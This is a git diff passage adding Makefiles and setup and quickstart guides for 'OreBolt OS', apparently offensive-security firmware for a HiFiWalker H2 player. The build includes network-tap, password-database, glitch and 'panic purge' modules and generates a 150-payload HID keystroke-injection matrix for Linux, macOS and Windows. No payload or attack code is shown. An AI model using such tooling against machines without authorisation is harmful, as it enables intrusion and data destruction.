studio:modules/orebolt-studio/studio.c \ + probe:modules/orebolt-probe/probe.c \ + vterm:modules/orebolt-vterm/vterm.c \ + pauto:modules/orebolt-pauto/pauto.c \ + extract:modules/orebolt-extract/extract.c \ + noise:modules/orebolt-noise/noise.c \ + reset:modules/orebolt-reset/reset.c \ + retro:modules/orebolt-retro/retro.c \ + rfid:modules/orebolt-rfid/rfid.c \ + glitch:modules/orebolt-glitch/glitch.c \ + pwdb:modules/orebolt-pwdb/pwdb.c \ + proxalarm:modules/orebolt-proxalarm/bledsp.c modules/orebolt-proxalarm/proxvec.c modules/orebolt-proxalarm/radar_ui.c modules/orebolt-proxalarm/proxalarm.c \ + bitchat:modules/orebolt-bitchat/bitchat.c + +# Modules that need extra libraries +BLUETOOTH_MODULES := proxalarm +PTHREAD_MODULES := scalpel + +.PHONY: all clean lvgl modules launcher mapper + +all: lvgl launcher mapper modules + +# --- LVGL shared library ----------------------------------------------------- +lvgl: + @if [ ! -d lvgl/src ]; then \ + echo "[-] lvgl/src not found. Run build.sh Phase 5 first, or:"; \ + echo " git clone --depth 1 -b v8.3.11 https://github.com/lvgl/lvgl.git"; \ + echo " git clone --depth 1 -b v8.3.0 https://github.com/lvgl/lv_drivers.git"; \ + exit 1; \ + fi + @echo ">>> Building liblvgl.so (v8.3.11)..." + $(CC) $(CFLAGS) -shared -fPIC \ + lvgl/src/*.c lvgl/src/draw/*.c lvgl/src/draw/sw/*.c \ + lvgl/src/font/*.c lvgl/src/misc/*.c lvgl/src/widgets/*.c \ + lvgl/src/extra/*.c lvgl/src/extra/layouts/*.c lvgl/src/extra/themes/*.c \ + -o overlay/usr/lib/liblvgl.so + $(STRIP) overlay/usr/lib/liblvgl.so + +# --- Master launcher (fork/exec broker) ------------------------------------- +launcher: lvgl + @echo ">>> Building h2_test launcher..." + $(CC) $(CFLAGS) main.c -o overlay/usr/bin/h2_test $(LDFLAGS) $(LDLIBS) + $(STRIP) overlay/usr/bin/h2_test + +# --- Retro gamepad input mapper daemon (STANDALONE, NO LVGL) ---------------- +# The mapper is a uinput daemon, NOT an LVGL module. +# It must NOT link against liblvgl.so. +# Creates ROM directories and installs the init script. +MAPPER_SRC := modules/orebolt-retro/retro_input_mapper.c +MAPPER_BIN := overlay/usr/bin/retro_input_mapper +ROM_BASE := overlay/data/roms +ROM_SYSTEMS := nes snes gb gbc gba genesis sms gg pce atari2600 ngp + +mapper: $(MAPPER_BIN) rom-dirs + @echo "[OK] retro module integrated (daemon + ROM dirs + init script)" + +$(MAPPER_BIN): $(MAPPER_SRC) + @mkdir -p overlay/usr/bin + @echo ">>> Building retro_input_mapper (standalone daemon)..." + $(CC) -march=mips32r2 -mhard-float -O2 -Wall -Wextra \ + -fstack-protector-strong -D_FORTIFY_SOURCE=2 \ + -Iinclude $< -o $@ + $(STRIP) --strip-unneeded $@ + +rom-dirs: + @for sysdir in $(ROM_SYSTEMS); do \ + mkdir -p $(ROM_BASE)/$$sysdir; \ + done + @echo "[OK] ROM directories created: $(ROM_BASE)/{nes,snes,gb,...,ngp}" + +# --- 17 module .mod binaries ----------------------------------------------- +modules: lvgl + @for entry in $(MODULES); do \ + name=$${entry%%:*}; \ + src=$${entry#*:}; \ + extralibs=""; \ + for bm in $(BLUETOOTH_MODULES); do \ + if [ "$$name" = "$$bm" ]; then extralibs="$(LDLIBS_BLUETOOTH)"; fi; \ + done; \ + echo ">>> Building module: $$name"; \ + $(CC) $(CFLAGS) $$src -o overlay/apps/$$name.mod \ + $(LDFLAGS) $(LDLIBS) $$extralibs || exit 1; \ + $(STRIP) overlay/apps/$$name.mod; \ + done + +clean: + rm -f overlay/usr/lib/liblvgl.so + rm -f overlay/usr/bin/h2_test + rm -f overlay/usr/bin/retro_input_mapper + rm -f overlay/apps/*.mod + rm -rf overlay/data/roms \ No newline at end of file diff --git a/Makefile.orebolt-v1.5 b/Makefile.orebolt-v1.5 new file mode 100755 index 0000000..4192e60 --- /dev/null +++ b/Makefile.orebolt-v1.5 @@ -0,0 +1,65 @@ +# ============================================================================== +# OREBOLT OS v1.5 -- Hardware Library + Payload Matrix +# ============================================================================== +# Builds liborebolt.a (static archive) from src/modules/*.c and runs +# inject_payloads.sh to regenerate the 150-payload HID macro matrix under +# overlay/data/payloads/{linux,macos,windows}/. +# +# v1.5 changes: +# * Bumped from v1.4. +# * No source changes to liborebolt.a -- stubs remain for hardware- +# specific modules (mod_core_hid, mod_panic_*, etc.) until real +# hardware register definitions are available. +# * bitchat mesh still compiled with -DAGPL_BITCHAT. +# ============================================================================== + +CROSS ?= mipsel-linux-musl- +CC := $(CROSS)gcc +AR := $(CROSS)ar +RANLIB := $(CROSS)ranlib + +KERNEL_HEADERS ?= /opt/fiio-m3k-linux +HARDWARE_GPIO ?= 0 + +ARCHFLAGS := -march=mips32r2 -mhard-float -Os -fPIC -fno-strict-aliasing -Wall +INCLUDES := -Iinclude -Isrc/modules \ + -I$(KERNEL_HEADERS)/include/uapi \ + -I$(KERNEL_HEADERS)/arch/mips/include \ + -I$(KERNEL_HEADERS)/arch/mips/include/asm/mach-jz4760 + +CFLAGS := $(ARCHFLAGS) $(INCLUDES) \ + -DHARDWARE_GPIO=$(HARDWARE_GPIO) + +OREBOLT_SRCS := \ + src/modules/mod_core_hid.c \ + src/modules/mod_forensics.c \ + src/modules/mod_panic_hardware_purge.c \ + src/modules/mod_panic_purge.c \ + src/modules/mod_radio_input_multiplex.c \ + src/modules/mod_ui_frame_graphics.c \ + src/modules/mod_bitchat_mesh.c + +OREBOLT_OBJS := $(OREBOLT_SRCS:.c=.o) + +.PHONY: all clean payloads + +all: liborebolt.a payloads + +liborebolt.a: $(OREBOLT_OBJS) + @echo ">>> Archiving liborebolt.a..." + $(AR) rcs $@ $(OREBOLT_OBJS) + $(RANLIB) $@ + +src/modules/mod_bitchat_mesh.o: src/modules/mod_bitchat_mesh.c + $(CC) $(CFLAGS) -DAGPL_BITCHAT -c $< -o $@ + +%.o: %.c + $(CC) $(CFLAGS) -c $< -o $@ + +payloads: + @echo ">>> Regenerating 150-payload HID matrix..." + @chmod +x inject_payloads.sh + @./inject_payloads.sh + +clean: + rm -f $(OREBOLT_OBJS) liborebolt.a \ No newline at end of file diff --git a/PREREQUISITES.md b/PREREQUISITES.md new file mode 100755 index 0000000..89c99c9 --- /dev/null +++ b/PREREQUISITES.md @@ -0,0 +1,538 @@ +# OreBolt OS v1.7 -- Host & Toolchain Prerequisites + +Everything you need to set up on your Arch Linux build machine **before** +running `./build.sh`. This guide covers the host OS, cross-compiler +toolchain, **kernel headers sourcing** (see +[HEADERS.md](HEADERS.md)), optional Buildroot environment, and SD card +preparation. + +> **SoC note**: The target SoC is the **Ingenic X1000E** (JZ4760 family), +> not the T31/X2000. The headers source is the **FiiO M3K GPL kernel tree** +> (same SoC as the H2), not Rockbox. Rockbox is now optional and scoped +> to bare-metal only. See [HEADERS.md](HEADERS.md) for the full strategy. + +--- + +## Table of Contents + +1. [Arch Linux Host Setup](#1-arch-linux-host-setup) +2. [Cross-Compiler Toolchain](#2-cross-compiler-toolchain) +3. [Kernel Headers (FiiO M3K GPL tree)](#3-kernel-headers-fiio-m3k-gpl-tree) +4. [Optional: Buildroot for X1000E Full Image](#4-optional-buildroot-for-x1000e-full-image) +5. [Workspace Clone & Verify](#5-workspace-clone--verify) +6. [SD Card Preparation](#6-sd-card-preparation) +7. [Environment Variables Reference](#7-environment-variables-reference) +8. [Troubleshooting](#8-troubleshooting) +9. [Licensing](#9-licensing) +10. [What `build.sh` Handles Automatically](#10-what-buildsh-handles-automatically) + +--- + +## 1. Arch Linux Host Setup + +OreBolt OS targets the HiFiWalker H2 (Ingenic **X1000E**, MIPS32r2, +mipsel) but builds entirely on a stock Arch Linux x86_64 workstation. +Arch is the only supported host because the build tooling, package +versions, and PATH layout are validated against it. Other distributions +may work but will require porting effort, particularly around `pacman` +dependency checks in Phase 0 of `build.sh`. + +### 1.1 Install Base Build Toolchain + +```bash +sudo pacman -Syu --needed base-devel git make python3 +``` + +This pulls in `gcc`, `binutils`, `make`, `patch`, `tar`, `gzip`, `bzip2`, +`xz`, `sed`, `gawk`, `file`, and `which` -- the minimal set required by +both the host-side tools and the cross-compilation pipeline. The +`build.sh` script will check for these in Phase 0 and attempt to install +any missing ones via `pacman -S --noconfirm`. + +### 1.2 Install SD Card Utilities + +```bash +sudo pacman -S --needed rsync dosfstools e2fsprogs parted file +``` + +Required for partitioning, formatting, and verifying the SD card used to +deploy OreBolt OS to the H2 (see Section 6). `file` is also used by +`build.sh` Phase 7 to verify that produced binaries are MIPS +little-endian ELF. + +### 1.3 Keep Arch Updated + +```bash +sudo pacman -Syu +``` + +Arch Linux rolling release means you will always have a recent GCC, +binutils, and glibc. No pinned versions are required for the host +toolchain -- the cross-compiler is fully self-contained and does not +depend on the host GCC version. + +### 1.4 User Permissions + +You need `sudo` access for package installation and SD card mount +operations. The build scripts detect whether they are running as root +or can use passwordless sudo; if neither works, they print the manual +install command and exit. + +```bash +sudo -n true 2>/dev/null && echo "passwordless sudo: OK" || echo "passwordless sudo: NO (will prompt)" +``` + +--- + +## 2. Cross-Compiler Toolchain + +The build requires a `mipsel-linux-musl` cross-compiler targeting +MIPS32r2 little-endian with hard-float ABI and musl libc. The `build.sh` +script and all Makefiles expect the toolchain binaries to be named with +the prefix `mipsel-linux-musl-` (e.g., `mipsel-linux-musl-gcc`, +`mipsel-linux-musl-strip`, `mipsel-linux-musl-ar`, +`mipsel-linux-musl-ranlib`). + +### 2.1 Toolchain Source: Rockbox (Recommended) + +Rockbox maintains a tested MIPS cross-compiler specifically for Ingenic +JZ47xx and X1000-family SoCs. Since Rockbox has a port for this exact +device family, their toolchain is the most authoritative and +hardware-verified option available. + +**Option A: Use Rockbox's prebuilt toolchain** + +1. Visit the Rockbox toolchain downloads page: + `https://www.rockbox.org/wiki/CrossCompile` +2. Download the MIPS toolchain tarball. +3. Extract and install: + ```bash + sudo mkdir -p /opt/mipsel-linux-musl + sudo tar xzf rockbox-mips-toolchain-*.tar.gz -C /opt/mipsel-linux-musl --strip-components=1 + ``` +4. Add to PATH (see Section 2.4). + +**Option B: Build the Rockbox toolchain from source** + +```bash +git clone https://github.com/Rockbox/rockbox.git +cd rockbox/tools +# Follow instructions at https://www.rockbox.org/wiki/CrossCompile +``` + +> Rockbox's toolchain is still the recommended +> cross-compiler even though Rockbox is no longer the recommended +> headers source. The toolchain (compiler + binutils + libc) is +> SoC-agnostic enough that it works for any MIPS32r2 target. + +### 2.2 Toolchain Source: musl.cc (Fallback) + +If the Rockbox toolchain is unavailable, musl.cc provides +community-built musl cross-compiler binaries. These are generic and not +tuned for Ingenic specifically. + +```bash +wget https://musl.cc/mipsel-linux-musl-cross.tgz -O /tmp/mipsel-toolchain.tgz +sudo mkdir -p /opt/mipsel-linux-musl +sudo tar xzf /tmp/mipsel-toolchain.tgz -C /opt/mipsel-linux-musl --strip-components=1 +``` + +**Caveat**: musl.cc toolchains may not include Ingenic-specific compiler +intrinsics or tune flags. If you encounter issues with floating-point +operations or scheduler behavior, switch to the Rockbox toolchain. + +### 2.3 Toolchain Source: Buildroot Self-Build (Advanced) + +Buildroot can generate a complete cross-compiler toolchain from source. +This is the most flexible option but also the slowest (build time: 15-45 +minutes). See Section 4. + +### 2.4 Add Toolchain to PATH + +```bash +export PATH="/opt/mipsel-linux-musl/bin:$PATH" +mipsel-linux-musl-gcc --version +mipsel-linux-musl-gcc -dumpmachine # Should print: mipsel-linux-musl +``` + +If your toolchain uses a different prefix, set `CROSS_COMPILE`: + +```bash +export CROSS_COMPILE=mips-linux-gnu- +./build.sh +``` + +### 2.5 Verify the Toolchain Works + +```bash +echo '#include +int main(void) { printf("hello mipsel\\n"); return 0; }' > /tmp/test.c +mipsel-linux-musl-gcc -march=mips32r2 -mhard-float -static -o /tmp/test_mips /tmp/test.c +file /tmp/test_mips +# Expected: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 ... +``` + +--- + +## 3. Kernel Headers (FiiO M3K GPL tree) + +> **Read [HEADERS.md](HEADERS.md) for the full strategy.** This section +> is a quick-start summary. + +OreBolt OS sources kernel headers from the **FiiO M3K GPL kernel tree** (Linux +3.10.14, Ingenic BSP) because the M3K uses the **exact same Ingenic +X1000E SoC as the H2**. The FiiO tree ships the X1000E register +definitions, GPIO mux tables, clock tree headers, and DMA descriptor +formats -- all GPL-2.0, all directly `#include`-able, no reverse +engineering needed. + +### 3.1 Install the FiiO M3K kernel tree + +```bash +sudo mkdir -p /opt/fiio-m3k-linux +# Clone from a community mirror, or extract FiiO's official GPL tarball: +sudo tar xzf fiio_m3k_kernel_*.tar.gz -C /opt/fiio-m3k-linux --strip-components=1 + +# Verify +ls /opt/fiio-m3k-linux/include/uapi/linux/kernel.h +ls /opt/fiio-m3k-linux/arch/mips/include/asm/mach-jz4760/jz4760.h +``` + +### 3.2 Verify with `make headers-check` + +```bash +make headers-check KERNEL_HEADERS=/opt/fiio-m3k-linux +# Expected: +# [OK] kernel headers root: /opt/fiio-m3k-linux +``` + +### 3.3 Fallback: Ingenic XBurst BSP + +If a header is missing from the FiiO tree, use the raw Ingenic XBurst +BSP. See [HEADERS.md §3](HEADERS.md#3-ingenic-xburst-bsp-fallback). + +### 3.4 What about Rockbox? + +Rockbox is now **optional** and scoped to a future bare-metal "OreBolt OS +Native" port. The current Linux userspace build path does not use +Rockbox at all. See [HEADERS.md §4](HEADERS.md#4-rockbox-optional-bare-metal-only). + +--- + +## 4. Optional: Buildroot for X1000E Full Image + +Buildroot is not required for the module-level cross-compilation that +`build.sh` performs. However, if you want to produce a complete root +filesystem image for the H2 (kernel + initramfs + rootfs with all +OreBolt OS modules), Buildroot is the right tool. + +### 4.1 Clone Buildroot + +```bash +git clone https://github.com/buildroot/buildroot.git +cd buildroot +git checkout 2024.02 # or current stable +``` + +### 4.2 Configure for Ingenic X1000E + +```bash +make menuconfig +``` + +**Target options:** +``` +Target Architecture = MIPS (little endian) +Target Architecture Variant = mips32r2 +Target ABI = 32 (soft-float) # override below for hard-float +``` + +**Toolchain:** +``` +Toolchain type = External toolchain +Toolchain = Custom toolchain +Toolchain path = /opt/mipsel-linux-musl +Toolchain prefix = $(ARCH)-linux-musl- +``` + +**Hard-float note**: the X1000E has a hardware FPU. OreBolt OS compiles +with `-mhard-float`. If Buildroot does not expose a hard-float option +in menuconfig, force it via `BR2_TARGET_OPTIMIZATION="-mhard-float"` in +`.config`. + +**System configuration:** +``` +System hostname = h2-hifiwalker +System banner = Welcome to OreBolt OS +/dev management = Dynamic using devtmpfs +Init system = BusyBox init (SysVinit) +``` + +### 4.3 Integrate the OreBolt OS Overlay + +In menuconfig: System configuration -> Root filesystem overlay directories +Add: `/path/to/h2-workspace/overlay` + +Or edit `.config` directly: +``` +BR2_ROOTFS_OVERLAY="/path/to/h2-workspace/overlay" +``` + +### 4.4 Build and Flash + +```bash +make +# Output: output/images/{rootfs.ext4, zImage, sdcard.img} + +sudo dd if=output/images/sdcard.img of=/dev/sdX bs=4M status=progress +sync +sudo eject /dev/sdX +``` + +--- + +## 5. Workspace Clone & Verify + +```bash +git clone h2-workspace +cd h2-workspace +``` + +### 5.1 Verify Workspace Integrity + +`build.sh` Phase 2 does this automatically, but you can check manually: + +```bash +# Required top-level files +ls -1 Makefile Makefile.h2-core-v6.2 Makefile.orebolt-v1.5 \ + build.sh inject_payloads.sh \ + main.c include/h2_ui.h include/log_manager.h lv_conf.h.dist \ + src/modules/panic_purge_api.h \ + PREREQUISITES.md HEADERS.md LICENSE.md CHANGELOG.md \ + ARCHITECTURE.md README.md BUILD_MANIFEST.txt SHA256SUMS + +# All 18 module source files +ls -1 modules/orebolt-vault/vault.c \ + modules/orebolt-nettap/scalpel.c \ + modules/orebolt-deploy/deploy.c \ + modules/orebolt-studio/studio.c \ + modules/orebolt-probe/probe.c \ + modules/orebolt-vterm/vterm.c \ + modules/orebolt-pauto/pauto.c \ + modules/orebolt-extract/extract.c \ + modules/orebolt-noise/noise.c \ + modules/orebolt-reset/reset.c \ + modules/orebolt-retro/retro.c \ + modules/orebolt-retro/retro_input_mapper.c \ + modules/orebolt-rfid/rfid.c \ + modules/orebolt-glitch/glitch.c \ + modules/orebolt-pwdb/pwdb.c \ + modules/orebolt-proxalarm/bledsp.c \ + modules/orebolt-proxalarm/proxvec.c \ + modules/orebolt-proxalarm/radar_ui.c \ + modules/orebolt-proxalarm/proxalarm.c \ + modules/orebolt-bitchat/bitchat.c + +# Init scripts +ls -1 overlay/etc/init.d/S98retro-input \ + overlay/etc/init.d/S99broker \ + overlay/etc/init.d/bt_input_daemon.sh + +# Hardware library sources (7 files) +ls -1 src/modules/ +``` + +### 5.2 Verify Toolchain + +```bash +mipsel-linux-musl-gcc --version +mipsel-linux-musl-gcc -dumpmachine # Must contain "mips" +``` + +--- + +## 6. SD Card Preparation + +The HiFiWalker H2 boots from an SD card. Minimum: a single FAT32 +partition holding the firmware files. + +### 6.1 Identify the SD Card + +```bash +lsblk -o NAME,SIZE,TYPE,MOUNTPOINT +``` + +**WARNING**: Be absolutely certain you have identified the correct +device. `/dev/sda` is typically your system disk. + +### 6.2 Single-Partition Layout + +```bash +sudo umount /dev/sdX1 2>/dev/null || true +sudo parted /dev/sdX --script mklabel msdos +sudo parted /dev/sdX --script mkpart primary fat32 1MiB 100% +sudo parted /dev/sdX --script set 1 boot on +sudo mkfs.vfat -F 32 -n OREBOLT /dev/sdX1 +``` + +### 6.3 Dual-Partition Layout (Full Rootfs) + +```bash +sudo parted /dev/sdX --script mklabel msdos +sudo parted /dev/sdX --script mkpart primary fat32 1MiB 129MiB +sudo parted /dev/sdX --script set 1 boot on +sudo parted /dev/sdX --script mkpart primary ext4 129MiB 100% +sudo mkfs.vfat -F 32 -n H2_BOOT /dev/sdX1 +sudo mkfs.ext4 -L H2_ROOT /dev/sdX2 +``` + +### 6.4 Deploy + +```bash +SD_CARD_MOUNT=/mnt/h2-sd ./build.sh --deploy +``` + +--- + +## 7. Environment Variables Reference + +| Variable | Default | Description | +|---|---|---| +| `CROSS_COMPILE` | `mipsel-linux-musl-` | Toolchain binary prefix | +| `KERNEL_HEADERS` | `/opt/fiio-m3k-linux` | FiiO M3K GPL kernel tree path | +| `HARDWARE_GPIO` | `0` | Set to `1` only on real H2 hardware to compile real GPIO panic purge | +| `SD_CARD_MOUNT` | `/mnt/h2-sd` | SD card mount point for `--deploy` | +| `NO_COLOR` | (unset) | Set to `1` to disable ANSI color in build scripts | +| `PATH` | (system) | Must include `/opt/mipsel-linux-musl/bin` | + +Recommended `~/.bashrc` additions: + +```bash +export PATH="/opt/mipsel-linux-musl/bin:$PATH" +export KERNEL_HEADERS="/opt/fiio-m3k-linux" +# export SD_CARD_MOUNT="/run/media/$USER/OREBOLT" +# export HARDWARE_GPIO=0 # explicit on dev host; set to 1 on hardware +``` + +--- + +## 8. Troubleshooting + +### Toolchain not found +``` +[-] Missing toolchain binaries: mipsel-linux-musl-gcc +``` +Verify `/opt/mipsel-linux-musl/bin/` is in `$PATH`. If your toolchain +uses a different prefix, set `CROSS_COMPILE`. + +### Compiler target is not MIPS +``` +[!] Compiler target 'x86_64-linux-gnu' does not look like MIPS +``` +Run `which mipsel-linux-musl-gcc` and `mipsel-linux-musl-gcc +-dumpmachine`. Ensure the cross-compiler's `bin/` appears before +`/usr/bin/` in `$PATH`. + +### KERNEL_HEADERS not found +``` +[-] CRITICAL: KERNEL_HEADERS not found at /opt/fiio-m3k-linux +``` +Install the FiiO M3K GPL kernel tree (Section 3.1) or set +`KERNEL_HEADERS` to point at the XBurst BSP fallback (HEADERS.md §3). + +### musl.cc toolchain float ABI mismatch +``` +error: cannot find -lm +``` +or linker errors about `soft-float` vs `hard-float`. Switch to the +Rockbox toolchain (Section 2.1) which is configured for Ingenic's +hard-float ABI. + +### LVGL clone fails +``` +[*] Cloning LVGL v8.3.11 + lv_drivers v8.3.0... +fatal: unable to access 'https://github.com/lvgl/lvgl.git' +``` +Pre-clone LVGL manually: +```bash +git clone --depth 1 -b v8.3.11 https://github.com/lvgl/lvgl.git +git clone --depth 1 -b v8.3.0 https://github.com/lvgl/lv_drivers.git +cp lv_conf.h.dist lv_conf.h +cp lv_drivers/lv_drv_conf_template.h lv_drv_conf.h +sed -i 's/#if 0/#if 1/' lv_drv_conf.h +sed -i 's/USE_FBDEV 0/USE_FBDEV 1/' lv_drv_conf.h +sed -i 's/USE_EVDEV 0/USE_EVDEV 1/' lv_drv_conf.h +``` +`build.sh` Phase 5 will detect the existing `lvgl/src/` and skip +cloning. + +### bitchat.mod missing AGPL_BITCHAT marker +``` +[-] bitchat.mod missing AGPL_BITCHAT marker (license violation) +``` +`mod_bitchat_mesh.c` was compiled without `-DAGPL_BITCHAT`. This +should not happen if you build via `make` or `./build.sh` (both set +the define in `Makefile.orebolt-v1.5`). If you are building +manually, add `-DAGPL_BITCHAT` to `CFLAGS`. + +### Binary format verification fails +``` +[-] BAD: h2_test -- ELF 64-bit LSB executable, x86-64 +``` +The build picked up the host GCC instead of the cross-compiler. Run +`./build.sh --clean && ./build.sh`. + +--- + +## 9. Licensing + +OreBolt OS uses a multi-tier licensing strategy. See +[LICENSE.md](LICENSE.md) for the full strategy. + +- **bitchat mesh module**: AGPL-3.0-only +- **All other OreBolt OS modules**: GPL-2.0-or-later +- **LVGL/lv_drivers**: MIT (upstream) + +If you modify and deploy bitchat, you MUST make your modified source +available to anyone who interacts with your modified node over the mesh +(AGPL v3 §13). Replace the `BITCHAT_SOURCE_URL` placeholder in +`mod_bitchat_mesh.c` with your real Written Offer URL before deploying. + +--- + +## 10. What `build.sh` Handles Automatically + +| Phase | What It Does | You Need To... | +|---|---|---| +| 0 | Checks for `base-devel`, `git`, `make`, `python3`, SD utils; probes for `KERNEL_HEADERS` | Install host deps + FiiO M3K kernel tree (Sections 1, 3) | +| 1 | Verifies `mipsel-linux-musl-{gcc,strip,ar,ranlib}` exist and target MIPS | Install the toolchain (Section 2) | +| 2 | Validates all 18 module source files, init scripts, and required top-level files | Clone the workspace (Section 5) | +| 3 | Creates the `overlay/` directory tree (apps/, usr/lib/, usr/bin/, etc.) | Nothing | +| 4 | Sets executable permissions on init scripts and utility scripts | Nothing | +| 5 | Builds H2 Core v6.2: clones LVGL/lv_drivers, compiles liblvgl.so, h2_test launcher, 18 modules, input mapper | Have network access (or pre-clone LVGL) | +| 6 | Builds OreBolt OS: compiles liborebolt.a and generates 150-payload matrix | Nothing | +| 7 | Verifies all artifacts exist, checks MIPS LE ELF, verifies bitchat AGPL marker | Nothing | +| 8 | Copies everything to SD card mount point, creates ROM directories | Mount SD card (Section 6) | + +**In summary, you only need to do Sections 1, 2, 3, 5, and 6 before +running `./build.sh`.** Section 4 (Buildroot) is optional and only +needed for producing a full rootfs image. + +--- + +## Quick Reference Checklist + +``` +[ ] Arch Linux host up to date (pacman -Syu) +[ ] base-devel, git, make, python3, rsync, dosfstools, e2fsprogs, parted, file installed +[ ] mipsel-linux-musl toolchain installed at /opt/mipsel-linux-musl/ +[ ] Toolchain in PATH: mipsel-linux-musl-gcc --version works +[ ] Test compile produces MIPS LE ELF binary +[ ] FiiO M3K GPL kernel tree at /opt/fiio-m3k-linux/ +[ ] make headers-check passes +[ ] Workspace cloned into h2-workspace/ +[ ] All 18 module source files present +[ ] LICENSE.md reviewed (bitchat = AGPL-3.0-only) +[ ] SD card formatted (FAT32) and mounted at /mnt/h2-sd/ +[ ] Ready to run: ./build.sh +``` diff --git a/QUICKSTART.md b/QUICKSTART.md new file mode 100755 index 0000000..963692e --- /dev/null +++ b/QUICKSTART.md @@ -0,0 +1,190 @@ +# OreBolt OS -- Quickstart + +Build and deploy OreBolt OS to a HiFiWalker H2 (or compatible rebadged DAP) +from a fresh Arch Linux host. ~30 min if toolchain and kernel tree are +pre-staged, ~75 min if building the toolchain from source. + +> **Not on Arch?** Stop. The build pipeline is validated against Arch only. +> Other distros will need porting effort. See [PREREQUISITES.md](PREREQUISITES.md) +> section 1 for the full dependency rationale. + +--- + +## 0. What you need + +| Item | Where | Details | +|---|---|---| +| Arch Linux host (x86_64) | any Arch install | `pacman -Syu` first | +| `mipsel-linux-musl` toolchain | Rockbox prebuilt tarball (recommended) | step 2 below | +| FiiO M3K GPL kernel tree | community mirror or FiiO's GPL download | step 3 below | +| MicroSD card, 2 GB or larger | any | FAT32, single partition | + +--- + +## 1. Host dependencies + +```bash +sudo pacman -Syu --needed base-devel git make python3 rsync \ + dosfstools e2fsprogs parted file +``` + +## 2. Cross toolchain + +Option A — Rockbox prebuilt (recommended, ~5 min): + +```bash +sudo mkdir -p /opt/mipsel-linux-musl +sudo tar xzf rockbox-mips-toolchain-*.tar.gz \ + -C /opt/mipsel-linux-musl --strip-components=1 +``` + +Option B — musl.cc fallback (less tuned, but works): + +```bash +wget https://musl.cc/mipsel-linux-musl-cross.tgz -O - | \ + sudo tar xz -C /opt/mipsel-linux-musl --strip-components=1 +``` + +Either way, add to PATH and verify: + +```bash +export PATH="/opt/mipsel-linux-musl/bin:$PATH" +echo 'export PATH="/opt/mipsel-linux-musl/bin:$PATH"' >> ~/.bashrc + +mipsel-linux-musl-gcc -dumpmachine +# expected output: mipsel-linux-musl +``` + +## 3. Kernel headers + +The FiiO M3K uses the same Ingenic X1000E SoC as the H2, so its GPL kernel +tree is the canonical headers source — no reverse-engineering from Rockbox +needed. See [HEADERS.md](HEADERS.md) for mirror URLs and the XBurst BSP +fallback path. + +```bash +sudo mkdir -p /opt/fiio-m3k-linux +sudo tar xzf fiio_m3k_kernel_*.tar.gz \ + -C /opt/fiio-m3k-linux --strip-components=1 + +export KERNEL_HEADERS=/opt/fiio-m3k-linux +echo 'export KERNEL_HEADERS=/opt/fiio-m3k-linux' >> ~/.bashrc + +make headers-check +# expected output: [OK] kernel headers root: /opt/fiio-m3k-linux +``` + +## 4. Build + +```bash +git clone h2-workspace +cd h2-workspace +./build.sh +``` + +The build script runs eight phases in sequence: + +| Phase | What it does | +|---|---| +| 0–1 | Verifies host deps, toolchain, and kernel headers | +| 2 | Workspace integrity check (all modules + headers + scripts present) | +| 3–4 | Creates `overlay/` tree, fixes permissions | +| 5 | Clones LVGL v8.3.11, builds `liblvgl.so`, `h2_test`, all modules, mapper | +| 6 | Builds `liborebolt.a`, regenerates 150-payload HID matrix | +| 7 | Validates all artifacts are MIPS LE ELF; checks bitchat AGPL marker | +| 8 | *(only with `--deploy`)* Copies everything to SD card | + +## 5. Verify the build + +``` +[OK] OREBOLT OS v1.7 BUILD COMPLETE +``` + +Artifacts you should see on disk: + +| Artifact | Path | Notes | +|---|---|---| +| `liblvgl.so` | `overlay/usr/lib/` | LVGL v8.3.11 shared library (MIT) | +| `h2_test` | `overlay/usr/bin/` | Master launcher | +| `retro_input_mapper` | `overlay/usr/bin/` | Gamepad input mapper daemon | +| 17 `*.mod` files | `overlay/apps/` | 16 GPL modules + 1 AGPL bitchat | +| `liborebolt.a` | `./` | Hardware library static archive | +| 150 `.dd` payloads | `overlay/data/payloads/{linux,macos,windows}/` | HID macro matrix | + +Confirm a binary is actually MIPS, not accidentally built with host GCC: + +```bash +file overlay/usr/bin/h2_test +# expected: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 ... +``` + +## 6. Deploy to SD card + +```bash +# Identify the card (be sure — /dev/sda is usually your system disk) +lsblk -o NAME,SIZE,TYPE,MOUNTPOINT + +# Format: single-partition FAT32 +sudo umount /dev/sdX1 2>/dev/null || true +sudo parted /dev/sdX --script mklabel msdos +sudo parted /dev/sdX --script mkpart primary fat32 1MiB 100% +sudo parted /dev/sdX --script set 1 boot on +sudo mkfs.vfat -F 32 -n OREBOLT /dev/sdX1 + +# Mount and deploy +sudo mkdir -p /mnt/h2-sd +sudo mount /dev/sdX1 /mnt/h2-sd +SD_CARD_MOUNT=/mnt/h2-sd ./build.sh --deploy +sync && sudo umount /mnt/h2-sd && sudo eject /dev/sdX +``` + +Insert the card, power on the H2. The LVGL UI boots with all 17 modules +registered. Init order: `S98retro-input` → `S99broker` (starts +`h2_test`) → `bt_input_daemon.sh` (BLE). + +--- + +## Troubleshooting + +| Symptom | Fix | +|---|---| +| `[-] Missing toolchain binaries: mipsel-linux-musl-gcc` | `export PATH="/opt/mipsel-linux-musl/bin:$PATH"` | +| `[-] CRITICAL: KERNEL_HEADERS not found` | Install FiiO M3K GPL tree (step 3) | +| `[-] BAD: h2_test -- ELF 64-bit LSB executable, x86-64` | `./build.sh --clean && ./build.sh` (host GCC leaked in) | +| `error: cannot find -lm` | Switch to Rockbox toolchain (step 2, option A) | +| `fatal: unable to access 'https://github.com/lvgl/lvgl.git'` | Pre-clone LVGL manually (see PREREQUISITES.md section 8) | +| `[-] bitchat.mod missing AGPL_BITCHAT marker` | If building manually, add `-DAGPL_BITCHAT` to CFLAGS | + +--- + +## Before deploying bitchat (AGPL obligation) + +If you modify the bitchat module and deploy it where other operators will +interact with it over the mesh, AGPL v3 section 13 requires you to provide +your modified source. Do this before deploying: + +```bash +# 1. Replace the placeholder URL with your real source / Written Offer +sed -i 's|https://example.invalid/orebolt-bitchat-src|https://your-domain/orebolt-os-bitchat-src|' \ + src/modules/mod_bitchat_mesh.c + +# 2. Drop in the full AGPL license text +curl -o licenses/AGPL-3.0.txt https://www.gnu.org/licenses/agpl-3.0.txt + +# 3. Rebuild +./build.sh --clean && ./build.sh +``` + +Full compliance checklist: [LICENSE.md section 4](LICENSE.md#4-operator-obligations-when-modifying-bitchat). + +--- + +## What to read next + +| When you want to... | Read | +|---|---| +| Understand module layout and boot sequence | [ARCHITECTURE.md](ARCHITECTURE.md) | +| Diagnose a toolchain or headers issue | [PREREQUISITES.md section 